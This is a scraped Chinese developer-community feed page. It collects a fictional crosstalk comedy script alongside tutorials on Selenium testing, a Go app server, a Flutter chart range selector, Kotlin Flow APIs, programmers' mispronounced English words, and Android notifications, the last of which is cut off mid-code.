注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

相声:《我是大文豪》

相声:《我是大文豪》表演者:郭德纲/于谦(郭、于上台,众人鼓掌)郭:谢谢大伙儿于:哎郭:大伙儿这么捧,我打心里高兴于:是啊,支持相声嘛郭:我内心也是替这门濒临结扎的艺术,感到欣慰于:您先等会吧郭:怎么了?于:什么叫濒临结扎啊郭:那不经常有个词儿嘛,形容你们这个...
继续阅读 »

相声:《我是大文豪》

表演者:郭德纲/于谦

(郭、于上台,众人鼓掌)

郭:谢谢大伙儿

于:哎

郭:大伙儿这么捧,我打心里高兴

于:是啊,支持相声嘛

郭:我内心也是替这门濒临结扎的艺术,感到欣慰

于:您先等会吧

郭:怎么了?

于:什么叫濒临结扎啊

郭:那不经常有个词儿嘛,形容你们这个艺术正在风雨飘摇

于:那叫濒临失传!

郭:那不一样嘛!

于:不一样!我们这个不上环儿!

郭:什么意思!

于:还什么意思呢!再说了,我们相声有什么濒临失传的,这兴旺着呢!

郭:相比而言嘛,相比我从事的行业,相声太弱了

于:您是什么职业啊?

郭:我的职业是一名文豪

于:没听说过!人都是自称是作家,哪有自称是文豪的

郭:没有吗?

于:您见哪个洗头房的小姐自称职业是花魁的?

郭:那上次那女的这么说合着是骗我!

于:那也是您总去!

郭:算了不提这个了

于:是您也得敢提啊

郭:反正我作为一名文豪,著作等身

于:您写过什么作品?

郭:我爸爸是北京一老作家....

于:我是问您写过什么作品,您扯您爸爸干什么啊

郭:我爸爸那书写的哦,那个好,你不知道,这边看我爸爸的书,那边你媳妇跟人睡觉,你都不着急拦!

于:您有病吧?我问的是您,不是您爸爸

郭:没有天哪有地,没有我爸爸哪有我?没有我哪有你?

于:没有您也有我!

郭:哦那就没有我儿子哪有你?!

于:得,这辈儿下的更快了,那您就说您爸爸

郭:还是的嘛,人活一世最重要的就是孝顺,我不提我爸爸我还是人么!

于:反正瞧您这做派倒不老像人的

郭:你这就是嫉妒!你嫉妒我的书香门第!我爸爸本来是通县一掏大粪的啊...

于:这还书香门第啊!

郭:你听我讲啊!本来是掏大粪的,后来改了

于:改卖农家肥了?

郭:你是人不是?我告诉你我今天手上没带着枪,要不我一刀捅死你!

于:得,您继续说

郭:我爸爸在经历了文革的动乱以后,站出来写了一篇发人深省的小说,一举成名!

于:哦?那听着倒是挺厉害,怎么写的?

郭:就写啊,我爸爸本来品学兼优,就是被四人帮暗害了,导致没考上大学,才小学二年级就被政治迫害辍学了

于:那就跟四人帮一点儿关系没有!就是你爸爸自己不念了!

郭:你还有没有点人性?本来我爸是个清华大学的苗子,被时代耽误了!这是一场浩劫下的惨剧啊!

于:您不要脸这劲儿倒是随您爸爸

郭:你什么意思?你的意思是四人帮是好人,你要替他们翻案是不是?!

于:您甭扣帽子,我不觉得他们是好人,但您爸爸这事儿完全挨不上!

郭:反正我爸爸这篇小说一发表,哎呀整个文坛轰动啊,专家们都说,这是当代文学的代表佳作啊!

于:嗯,专家也是没见过什么好东西

郭:这篇小说算是我爸爸的自传,也奠定了我爸爸的文坛地位

于:说这么热闹,这自传小说叫什么名啊?

郭:《废物》

于:嗯,您爸爸这点上倒是挺实惠

郭:这篇《废物》一出,马上在世界文学界都得到了很大的声望,还得了国际大奖呢!

于:什么国际大奖啊?

郭:梵蒂冈佛学研究会文学进步一等奖!

于:都梵蒂冈了还佛学研究会!这奖水的也够模样了

郭:从此我爸爸就是文坛名人了,陆续出版了很多好书

于:都有什么啊?

郭:讲邻居家搞破鞋的,讲亲戚媳妇儿跟人偷情的,讲农村妇女找姘子的....

于:这不都是一回事吗?!这还用拆成好几本书讲啊!

郭:你懂什么?不同的地区这个婚外恋的状态是不一样的,床上都怎么称呼,私下里遇到本家儿了挨打怎么跑,这你都懂吗?

于:不懂,但这么一看您爸爸对这事儿研究够深的

郭:那是,我爸爸为此去各地采风,也因此成为了伤痕文学的代表人物

于:这跟伤痕文学有什么关系?

郭:一身是伤啊,肩膀上、腿上、脸上,那上次还有个农村老爷们拿个铁锹在他脑袋上拍出个疤呢,跟我父亲说,小贼,再让我看见你跟我媳妇儿不清不楚,爷爷我一铁锹拍死你!

于:哦这么个伤痕啊!那就是搞破鞋让人本家儿打了!

郭:之后我父亲又成为了我们当地的破协..哦不,作协主席

于:得,险些把实话说出来了

郭:你就说吧,我爸爸这个资历,我凭什么不是文豪?

于:这是您爸爸的成就,跟您在文学领域怎么着也没关系啊

郭:我爸爸给我提供了无数写作的素材啊!

于:什么素材?

郭:我迄今为止吧,出版了七本书,怎么样,厉害吧?

于:那倒是不少。都什么书啊?

郭:《我与我父亲》、《父亲下乡》、《父亲回城》、《父亲结婚》、《父亲生活秘史》、《父亲的爱情》、《我的父亲的老丈人》

于:你等会吧!

郭:怎么了?

于:《我的父亲的老丈人》....那你就说是写你姥爷不就得了!费这么大事!

郭:你懂个屁!我说我姥爷谁知道是谁啊?书卖不出去啊!

于:那倒是,您这一辈子就靠您父亲这点儿光环活着呢!

郭:你这就是丧良心,我写这么多书,算上里面的拼音,起码也得有五十万字了,您写的出来?!

于:得,连字儿都写不全,还得用拼音

郭:你这就是嫉妒,你嫉妒没我这么一个好爸爸!

于:您别在这抄便宜啊!是我爸爸没有您爸爸这么好,还是没有您这样的一个好爸爸?

郭:这不是一回事嘛?!

于:差远了!

郭:嗨咱俩计较这些微不足道的事儿干嘛

于:那是,你占便宜当然大度了

郭:我爸爸对我们家真是尽心尽力,呕心沥血,尤其对我,简直是再生父母一样的好啊!

于:您这用词,听着好像您不是亲儿子似的

郭:你别在这起腻啊!不光是我,我媳妇儿都得到我爸爸不少帮助

于:您媳妇也是作家吗?

郭:不是,我媳妇主要是表演舞蹈

于:哦,跳芭蕾的?

郭:不是

于:那是跳拉丁的?

郭:也不是

于:那是民族?

郭:这都什么啊,跟我媳妇儿比不了

于:那您媳妇儿是?

郭:我媳妇吧,以前是在北京一个会所演出

于:然后呢?

郭:后来会所涉黄被关了,就嫁给我了

于:哦合着是跳脱衣舞的啊!

郭:说那么难听!

于:那不就是吗?那您好好意思说您媳妇主要是表演舞蹈!

郭:是啊,只不过不是同一个表

于:是婊子演舞蹈的意思是吗?

郭:我抽你!我媳妇都上我们这的作协晚会了!

于:那甭说,又是您爸爸的功劳

郭:那当然

于:那您媳妇儿这三俗的舞蹈,对社会风气影响也不好啊

郭:那有什么的?我爸爸给在场观众每人发一块白布

于:这干什么用的?

郭:把眼睛蒙上

于:哦,就算是把观众眼睛蒙上也必须让儿媳妇过名人瘾是么?

郭:那当然,我爸爸说了一句至理名言,我听着感动的都不行了

于:怎么说的?

郭:许你们恶心,不许我家里人上不去!

于:去你的吧!

(全文完。本文纯属虚构)

收起阅读 »

python+selenium自动化测试(入门向干货)

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。 我实现的大致流程为: 1 - 准备自动化测试环境 2 - 发起网页请求 3 - 定位元素 4 - 行为链 使用工具:python,selenium,chromedriver...
继续阅读 »

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。




我实现的大致流程为:


1 - 准备自动化测试环境

2 - 发起网页请求

3 - 定位元素

4 - 行为链



使用工具:python,selenium,chromedriver,chrom浏览器





操作步骤讲解环节




下面就是喜闻乐见的操作步骤讲解环节了(´◔౪◔)



1、准备自动化测试环境


本次的环境准备较为复杂,但是只要跟着方法走,问题应该也不是很多。

另外,软件包我都整理好了,评论区可见。



  • 准备python环境,这里网上的教程都挺多的,我也就不赘述了。

  • 导入python的第三方扩展包 - selenium,urllib3,jdcal,et_xmlfile(后三个为selenium的依赖包)
安装方法如下:
1)解压后,进入扩展包,shift+右键,在此处打开PowerShell窗口,执行命令
2)python setup.exe install
  • 安装对应版本的chrom浏览器,获取对应版本的chromedriver
这里说的对应版本,是说浏览器的版本需要与chromedriver相对应
我资源里给到的是81版本的chrom浏览器和chromedriver

2、发起网页请求

环境准备好后,就可以发起网页请求验证了。
代码如下:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
# 设定目的url
url = "https://www.baidu.com/"
# 创建一个参数对象,用来控制chrome以无界面模式打开
chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome_options.add_argument('--disable-gpu')

# 跳过https安全认证页面
chrome_options.add_argument('--ignore-certificate-errors')
# 创建自己的一个浏览器对象
driver = webdriver.Chrome(chrome_options=chrome_options)
# 访问网页
driver.get(url)
# 等待防止网络不稳定引起的报错
driver.implicitly_wait(5)
# 浏览器全屏显示
driver.maximize_window()

3、定位元素

参考文档:https://python-selenium-zh.readthedocs.io/zh_CN/latest/
代码如下:

1) 根据Id定位,driver.find_element_by_id()
2) 根据 Name 定位,driver.find_element_by_name()
3) XPath定位,driver.find_element_by_xpath()
4) 用链接文本定位超链接,driver.find_element_by_link_text()
5) 标签名定位,driver.find_element_by_tag_name()
6) class定位,driver.find_element_by_class_name()
7) css选择器定位,driver.find_element_by_css_selector()

4、行为链
这里说的操作是指,定位元素后,针对元素进行的鼠标移动,鼠标点击事件,键盘输入,以及内容菜单交互等操作。
参考文档:
https://python-selenium-zh.readthedocs.io/zh_CN/latest/
https://www.cnblogs.com/GouQ/p/13093339.html
代码如下:

1) 鼠标单击事件,find_element_by_id().click()
2) 键盘输入事件,find_element_by_id().send_keys()
3) 文本清空事件,find_element_by_id().clear()
4) 右键点击事件,find_element_by_id().context_click()
5) 鼠标双击事件,find_element_by_id().double_click()


收起阅读 »

环信基于go的APPserver服务搭建

appServer_go环信目前提供两个登录方式 1.账号密码登录2.账号token登录相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务1.创建一个数据库CREATE DAT...
继续阅读 »

appServer_go

环信目前提供两个登录方式 1.账号密码登录2.账号token登录
相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务

1.创建一个数据库

CREATE DATABASE app_server CHARACTER SET utf8mb4;

运行程序会根据model自动创建表

2.配置config.ini文件

chat相关配置可以在console中找到

 

3.iOS工程需要一下改动

   

4.运行appserver 和 ios项目

说明

项目主要实现上面三个接口

下面是安卓的配置(参数配置参数ios)


该项目有详细注释 仅供参考



收起阅读 »

【开源 UI 组件】Flutter 图表范围选择器

前言 最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持 左右拖动调节中间区域 拖拽中间区域,可以进行移动 图表数据根据中间区域的占比进行显示部分数据 这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图...
继续阅读 »

前言


最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持



  • 左右拖动调节中间区域

  • 拖拽中间区域,可以进行移动

  • 图表数据根据中间区域的占比进行显示部分数据





这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图表库没有提供该功能,这里自己通过绘制来实现以下,操作效果如下所示:





1. 使用 chart_range_selector


目前这个范围选择器已经发布到 pub 上了,名字是 chart_range_selector。大家可以通过依赖进行添加


dependencies:
chart_range_selector: ^1.0.0

这个库本身是作为独立 UI 组件存在的,在拖拽过程中改变区域范围时,会触发回调。使用者可以通过监听来获取当前区域的范围。这里的区域起止是以分率的形式给出的,也就是最左侧是 0 最右侧是 1 。如下的区域范围是 0.26 ~ 0.72



ChartRangeSelector(
height: 30,
initStart: 0.4,
initEnd: 0.6,
onChartRangeChange: _onChartRangeChange,
),

void _onChartRangeChange(double start, double end) {
print("start:$start, end:$end");
}



封装的组件名为: ChartRangeSelector ,提供了如下的一些配置参数:


image.png






























































配置项类型简述
initStartdouble范围启始值 0~1
initEnddouble范围终止值 0~1
heightdouble高度值
onChartRangeChangeOnChartRangeChange范围变化回调
bgStorkColorColor背景线条颜色
bgFillColorColor背景填充颜色
rangeColorColor区域颜色
rangeActiveColorColor区域激活颜色
dragBoxColorColor左右拖拽块颜色
dragBoxActiveColorColor左右拖拽块激活颜色



2. ChartRangeSelector 实现思路分析


这个组件整体上是通过 ChartRangeSelectorPainter 绘制出来的,其实这些图形都是挺规整的,绘制来说并不是什么难事。重点在于事件的处理,拖拽不同的部位需要处理不同的逻辑,还涉及对拖拽部位的校验、高亮示意,对这块的整合还是需要一定的功力的。


image.png


代码中通过 RangeData 可监听对象为绘制提供必要的数据,其中 minGap 用于控制范围的最小值,保证范围不会过小。另外定义了 OperationType 枚举表示操作,其中有四个元素,none 表示没有拖拽的普通状态;dragHead 表示拖动起始块,dragTail 表示拖动终止块,dragZone 表示拖动范围区域。


enum OperationType{
none,
dragHead,
dragTail,
dragZone
}

class RangeData extends ChangeNotifier {
double start;
double end;
double minGap;
OperationType operationType=OperationType.none;

RangeData({this.start = 0, this.end = 1,this.minGap=0.1});

//暂略相关方法...
}



在组件构建中,通过 LayoutBuilder 获取组件的约束信息,从而获得约束区域宽度最大值,也就是说组件区域的宽度值由使用者自行约束,该组件并不强制指定。使用 SizedBox 限定画板的高度,通过 CustomPaint 组件使用 ChartRangeSelectorPainter 进行绘制。使用 GestureDetector 组件进行手势交互监听,这就是该组件整体上实现的思路。





3.核心代码实现分析


可以看出,这个组件的核心就是 绘制 + 手势交互 。其中绘制比较简单,就是根据 RangeData 数据和颜色配置画些方块而已,稍微困难一点的是对左右控制柄位置的计算。另外,三个可拖拽物的激活状态是通过 RangeData#operationType 进行判断的。





也就是说所有问题的焦点都集中在 手势交互 中对 RangeData 数据的更新。如下是处理按下的逻辑,当触电横坐标左右 10 逻辑像素之内,表示激活头部。如下 tag1 处通过 dragHead 方法更新 operationType 并触发通知,这样画板绘制时就会激活头部块,右侧和中间的激活同理。


---->[RangeData#dragHead]----
void dragHead(){
operationType=OperationType.dragHead;
notifyListeners();
}


void _onPanDown(DragDownDetails details, double width) {
double start = width * rangeData.start;
double x = details.localPosition.dx;
double end = width * rangeData.end;
if (x >= start - 10 && x <= end + 10) {
if ((start - details.localPosition.dx).abs() < 10) {
rangeData.dragHead(); // tag1
return;
}
if ((end - details.localPosition.dx).abs() < 10) {
rangeData.dragTail();
return;
}
rangeData.dragZone();
}
}



对于拖手势的处理,是比较复杂的。如下根据 operationType 进行不同的逻辑处理,比如当 dragHead 时,触发 RangeData#moveHead 方法移动 start 值。这里将具体地逻辑封装在 RangeData 类中。可以使代码更加简洁明了,每个操作都有 bool 返回值用于校验区域也没有发生变化,比如拖拽到 0 时,继续拖拽是会触发事件的,此时返回 false,避免无意义的 onChartRangeChange 回调触发。


void _onUpdate(DragUpdateDetails details, double width) {
bool changed = false;
if (rangeData.operationType == OperationType.dragHead) {
changed = rangeData.moveHead(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragTail) {
changed = rangeData.moveTail(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragZone) {
changed = rangeData.move(details.delta.dx / width);
}
if (changed) widget.onChartRangeChange.call(rangeData.start, rangeData.end);
}

如下是 RangeData#moveHead 的处理逻辑,_recordStart 用于记录起始值,如果移动后未改变,返回 false。表示不执行通知和触发回调。


---->[RangeData#moveHead]----
bool moveHead(double ds) {
start += ds;
start = start.clamp(0, end - minGap);
if (start == _recordStart) return false;
_recordStart = start;
notifyListeners();
return true;
}



4. 结合图表使用


下面是结合 charts_flutter 图标库实现的范围显示案例。其中核心点是 domainAxis 可以通过 NumericAxisSpec 来显示某个范围的数据,而 ChartRangeSelector 提供拽的交互操作来更新这个范围,可谓相辅相成。



class RangeChartDemo extends StatefulWidget {
const RangeChartDemo({Key? key}) : super(key: key);

@override
State<RangeChartDemo> createState() => _RangeChartDemoState();
}

class _RangeChartDemoState extends State<RangeChartDemo> {
List<ChartData> data = [];

int start = 0;
int end = 0;

@override
void initState() {
super.initState();
data = randomDayData(count: 96);
start = 0;
end = (0.8 * data.length).toInt();
}

Random random = Random();

List<ChartData> randomDayData({int count = 1440}) {
return List.generate(count, (index) {
int value = 50 + random.nextInt(200);
return ChartData(index, value);
});
}

@override
Widget build(BuildContext context) {

List<charts.Series<ChartData, int>> seriesList = [
charts.Series<ChartData, int>(
id: 'something',
colorFn: (_, __) => charts.MaterialPalette.blue.shadeDefault,
domainFn: (ChartData sales, _) => sales.index,
measureFn: (ChartData sales, _) => sales.value,
data: data,
)
];

return Column(
children: [
Expanded(
child: charts.LineChart(seriesList,
animate: false,
primaryMeasureAxis: const charts.NumericAxisSpec(
tickProviderSpec: charts.BasicNumericTickProviderSpec(desiredTickCount: 5),),
domainAxis: charts.NumericAxisSpec(
viewport: charts.NumericExtents(start, end),
)),
),
const SizedBox(
height: 10,
),
SizedBox(
width: 400,
child: ChartRangeSelector(
height: 30,
initEnd: 0.5,
initStart: 0.3,
onChartRangeChange: (start, end) {
this.start = (start * data.length).toInt();
this.end = (end * data.length).toInt();
setState(() {});
}),
),
],
);
}
}

class ChartData {
final int index;
final int value;

ChartData(this.index, this.value);
}

本文就介绍到这里,更多的实现细节感兴趣的可以研究一下源码。谢谢观看 ~


作者:张风捷特烈
链接:https://juejin.cn/post/7134885139980484615
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

这些flow常见API的使用,你一定需要掌握!

collect通知flow执行 public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit...
继续阅读 »

collect通知flow执行


public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit =
collect(object : FlowCollector<T> {
override suspend fun emit(value: T) = action(value)
})

flow是冷流,只有调用collect{}方法时才能触发flow代码块的执行。还有一点要注意,collect{}方法是个suspend声明的方法,需要在协程作用域的范围能调用。


除此之外,collect{}方法的参数是一个被crossinline修饰的函数类型,旨在加强内联,禁止在该函数类型中直接使用return关键字(return@标签除外)。


fun main() {
GlobalScope.launch {
flow {
emit("haha")
}.collect {

}
}
}

launchIn()指定协程作用域通知flow执行


public fun <T> Flow<T>.launchIn(scope: CoroutineScope): Job = scope.launch {
collect() // tail-call
}

这个方法允许我们直接传入一个协程作用域的参数,不需要直接在外部开启一个协程执行。本质上就是使用我们传入的协程作用域手动开启一个协程代码块调用collect{}通知协程执行。


这里看官方的源码有个tail-call的注释,也就是尾调用的意思,猜测这里可能官方会在这里进行了优化,减少了栈中方法调用的层级,降低栈溢出的风险。


fun main() {
flow {
emit("haha")
}.launchIn(GlobalScope)
}

catch{}捕捉异常


public fun <T> Flow<T>.catch(action: suspend FlowCollector<T>.(cause: Throwable) -> Unit): Flow<T> =
flow {
val exception = catchImpl(this)
if (exception != null) action(exception)
}

这个就是用来捕捉异常的,不过注意,只能捕捉catch()之前的异常,下面来个图阐述下:


image.png

即,只能捕捉第一个红框中的异常,而不能捕捉第二个红框中的异常。


merge()合流


public fun <T> merge(vararg flows: Flow<T>): Flow<T> = flows.asIterable().merge()

最终的实现类如下:


image.png


请注意,这个合流的每个流可以理解为是并行执行的,而不是后一个流等待前一个流中的flow代码块中的逻辑执行完毕再执行,这样做的目的可以提供合流的每个流的执行效果。


测试代码如下:


fun main() {
GlobalScope.launch {
merge(flow {
delay(1000)
emit(4)
}, flow {
println("flow2")
delay(2000)
emit(20)
}).collect {
println("collect value: $it")
}
}
}

输出日志如下:


image.png


map{}变换发送的数据类型


public inline fun <T, R> Flow<T>.map(crossinline transform: suspend (value: T) -> R): Flow<R> = transform { value ->
return@transform emit(transform(value))
}

这个api没什么可将的,很多的地方比如集合、livedata中都有它的影子,它的作用就是将当前数据类型变换成另一种数据类型(可以相同)。


fun main() {
GlobalScope.launch {
flow {
emit(5)
}.map {
"ha".repeat(it)
}.collect {
println("collect value: $it")
}
}
}

总结


本篇文章介绍了flow常见的api,接下来还会有一些列文章用来介绍flow的其他api,感谢阅读。


作者:长安皈故里
链接:https://juejin.cn/post/7134478501612093471
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

程序员最容易读错的单词,听到status我炸了

这个死太丢死不太对,需要改一下。。。看着他疑惑不解的眼神,我当时的表情。。。好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看...
继续阅读 »

最近在跟同事讨论问题的时候,他突然对我说。。。

这个死太丢死不太对,需要改一下。。。

我当时应该是愣住了,然后想了一下,你说的是 status 吗???

看着他疑惑不解的眼神,我当时的表情。。。


好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。

于是,带着好奇、疑惑和忐忑的心情,我重新 Google、百度了一遍那些我觉得不太确认的单词到底怎么读,结果简直颠覆了我的三观。。。

我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看他喵的怎么读的。。。

status

这玩意儿你以为我嘲讽了同事吗?

不是,我是嘲讽了自己的无知。

他娘的,他不读死太丢死,也不读死特丢死

他读,【ˈstæɾəs】或者是【ˈsteɪtəs】 ,不会读,但是我相信大家音标还是看的明白的。

这里就请原谅我无法用文字来读出声音给大家。

Mysql

OK,请看下一题,我想这个读音大家好像约定俗称了一样,就是卖色扣

其实,我觉得他跟app这玩意儿一样啊,有些人非要读啊扑也无所谓,我就一个个单词读APP你咬我呢。

Mysql性质也差不多,你读卖S Q L我觉得也没毛病。

但,官方的意思和APP这玩意儿一样,希望大家读的是My Sequel

Linux

这个我估摸着也是重灾区,因为我一直读了好多年的力扭克思,这一条中了的请扣一波1111111。

实际上,别人真不这么读,我还是被一个刚读大一的朋友纠正的。。

正确读音:【'lɪnəks】,力呢渴死。

Integer

好了,这个读音我相信你的同事之中可能就没几个读对的。。。

因太哥儿因特哥儿。。。

正确读音:【'ɪntɪdʒə】,因题绝儿。

我非常相信,你现在知道了怎么读,明天又会回到原来的样子,因为就在刚才我又自己读成了因特绝儿。。。

OK,OK

好了,好了,剩下的我就不一一再说了,我直接列几个吧,我觉得很多人估计得疯了,和我一样!

  1. height:这玩意儿hi特,别读黑特,这个错的人不多,讲道理。

  2. width:这个有点离谱了,大家应该都读歪思,好嘛,人家读【wɪtθ】,和with差不多,我直到今天才知道我错了。

  3. margin:这个但凡接触过前端的都懂啊,马哥因对吧,好点的会连读,但是也错了,读【'mɑːdʒɪn】,马军。。。

  4. maven:别读马文了,读meɪvn,读美文

  5. Deque:你以为和队列 queue 一样,读地Q吗,人家读【'dek】德克。

  6. facade:这个真的因为可能看起来太奇怪了,所以好像没什么人读错,【fə'sɑːd】门面装配。

  7. safari:这个读音真的很奇怪啊,中国人普遍读萨佛来,其实应该读【sə'fɑːrɪ】,别说了,就是拗口,我大概是改不过来了。。。

... ...

好了,好了,就这样吧,其实我觉得除了读死太丢死真的就泥马离谱之外,其他的我我觉得都问题不大!

别说那些了,就说最简单的,Java你读对了吗?


作者:艾小仙
来源:juejin.cn/post/7134344758268264478

收起阅读 »

Android通知 Notification的简单使用

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。Demo下载创...
继续阅读 »

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。

Demo下载

创建通知渠道

首先,创建几个常量和变量,其中渠道名是会显示在手机设置-通知里app对应展示的通知渠道名称,一般基于通知作用取名。

    companion object {
//渠道Id
private const val CHANNEL_ID = "渠道Id"

//渠道名
private const val CHANNEL_NAME = "渠道名-简单通知"

//渠道重要级
private const val CHANNEL_IMPORTANCE = NotificationManager.IMPORTANCE_DEFAULT
}

private lateinit var context: Context

//Notification的ID
private var notifyId = 100
private lateinit var manager: NotificationManager
private lateinit var builder: NotificationCompat.Builder

然后获取系统通知服务,创建通知渠道,其中因为通知渠道是Android8.0才有的,所以增加一个版本判断:

        //获取系统通知服务
manager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
//创建通知渠道,Android8.0及以上需要
createChannel()
    private fun createChannel() {
//创建通知渠道,Android8.0及以上需要
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
return
}
val notificationChannel = NotificationChannel(
CHANNEL_ID,
CHANNEL_NAME,
CHANNEL_IMPORTANCE
)
manager.createNotificationChannel(notificationChannel)
}

初始化通知

先生成NotificationCompat.Builder,然后初始化通知Builder的通用配置:

        builder = NotificationCompat.Builder(context.applicationContext, CHANNEL_ID)
initNotificationBuilder()
    /**
* 初始化通知Builder的通用配置
*/
private fun initNotificationBuilder() {
builder
.setAutoCancel(true) //设置这个标志当用户单击面板就可以让通知自动取消
.setSmallIcon(R.drawable.ic_reminder) //通知的图标
.setWhen(System.currentTimeMillis()) //通知产生的时间,会在通知信息里显示
.setDefaults(Notification.DEFAULT_ALL)
}

此外builder还有setVibrate、setSound、setStyle等方法,按需配置即可。

显示通知

给builder设置需要通知需要显示的title和content,然后通过builder.build()生成生成通知Notification,manager.notify()方法将通知发送出去。

    fun configNotificationAndSend(title: String, content: String){
builder.setContentTitle(title)
.setContentText(content)
val notification = builder.build()
//发送通知
manager.notify(notifyId, notification)
//id自增
notifyId++
}

最简单的通知显示至此上面三步就完成了。

效果如下图:

image.png

显示图片通知

当通知内容过多一行展示不下时,可以通过设置

builder.setStyle(NotificationCompat.BigTextStyle().bigText(content)) //设置可以显示多行文本

这样通知就能收缩和展开,显示多行文本。 另外setStyle还可以设置图片形式的通知:

setStyle(NotificationCompat.BigPictureStyle().bigPicture(BitmapFactory.decodeResource(resources,R.drawable.logo)))//设置图片样式

效果如下图:

image.png

通知点击

目前为止的通知还只是显示,因为设置了builder.setAutoCancel(true),点击通知之后通知会自动消失,除此之外还没有其他操作。 给builder设置setContentIntent(PendingIntent)就能有通知点击之后的其他操作了。PendingIntent可以看作是对Intent的一个封装,但它不是立刻执行某个行为,而是满足某些条件或触发某些事件后才执行指定的行为。PendingIntent获取有三种方式:Activity、Service和BroadcastReceiver获取。通过对应方法PendingIntent.getActivity、PendingIntent.getBroadcast、PendingIntent.getService就能获取。 这里就示例一下PendingIntent.getBroadcast和PendingIntent.getActivity

PendingIntent.getBroadcast

首先创建一个BroadcastReceiver:

class NotificationHandleReceiver : BroadcastReceiver() {
companion object {
const val NOTIFICATION_HANDLE_ACTION = "notification_handle_action"
const val NOTIFICATION_LINK = "notificationLink"
const val TAG = "NotificationReceiver"
}

override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action == NOTIFICATION_HANDLE_ACTION) {
val link = intent.getStringExtra(NOTIFICATION_LINK)
}
}
}

别忘了在清单文件中还需要静态注册BroadcastReceiver:

    <receiver
android:name=".NotificationHandleReceiver"
android:exported="false">
<intent-filter>
<action android:name="notification_handle_action" />
</intent-filter>
</receiver>

然后创建一个上面BroadcastReceiver的Intent,在intent.putExtra传入相应的点击通知之后需要识别的操作:

   fun generateDefaultBroadcastPendingIntent(linkParams: (() -> String)?): PendingIntent {
val intent = Intent(NotificationHandleReceiver.NOTIFICATION_HANDLE_ACTION)
intent.setPackage(context.packageName)
linkParams?.let {
val params = it.invoke()
intent.putExtra(NotificationHandleReceiver.NOTIFICATION_LINK, params)
}
return PendingIntent.getBroadcast(
context,
notifyId,
intent,
PendingIntent.FLAG_IMMUTABLE
)
}

这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,NotificationHandleReceiver的onReceive里就会收到信息了,根据信息处理后续操作即可。

PendingIntent. getActivity

Activity的PendingIntent用于跳转到指定activity,创建一个跳转activity的Intent(同普通的页面跳转的Intent),也是同上面在intent.putExtra传入相应的点击通知之后需要识别的操作:

        val intent = Intent(this, XXXX::class.java).apply {
putExtra("title", title).putExtra("content", content)
}
return PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)

也是这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,就会跳转到对应的activity页面,然后intent里就会收到信息了,根据信息处理后续操作即可。

Android12之PendingIntent特性

行为变更:以 Android 12 为目标平台的应用

查看上面关于Android12的特性

在Android12平台上有关于PendingIntent的两点特性:

  • 一是待处理 intent 可变性,必须为应用创建的每个 PendingIntent 对象指定可变性,这也是上面创建PendingIntent时需要设置flag为PendingIntent.FLAG_IMMUTABLE。
  • 二是通知 trampoline 限制,以 Android 12 或更高版本为目标平台的应用无法从用作通知 trampoline 的服务广播接收器中启动 activity。换言之,当用户点按通知或通知中的操作按钮时,您的应用无法在服务或广播接收器内调用 startActivity()。所以当需要点击通知实现activity跳转时,需要使用PendingIntent. getActivity,而不是使用PendingIntent.getBroadcast,然后在BroadcastReceiver里实现activity跳转,后者方式在Android 12 或更高版本为目标平台的应用中将被限制。

配合WorkManager发送延迟通知

配合上WorkManager,就能实现发送延迟通知,主要是通过OneTimeWorkRequest的延迟特性。

创建一个延迟的OneTimeWorkRequest,加入WorkManager队列中:

    fun sendWorkRequest(
context: Context,
reminderId: Int,
title: String,
content: String,
link: String,
triggerTime: Long
): OneTimeWorkRequest {
val duration = triggerTime - System.currentTimeMillis()
val data =
Data.Builder().putInt(REMINDER_WORKER_DATA_ID, reminderId).putString(REMINDER_WORKER_DATA_TITLE, title)
.putString(REMINDER_WORKER_DATA_CONTENT, content).putString(REMINDER_WORKER_DATA_LINK, link)
.build()
val uniqueWorkName =
"reminderData_${reminderId}"
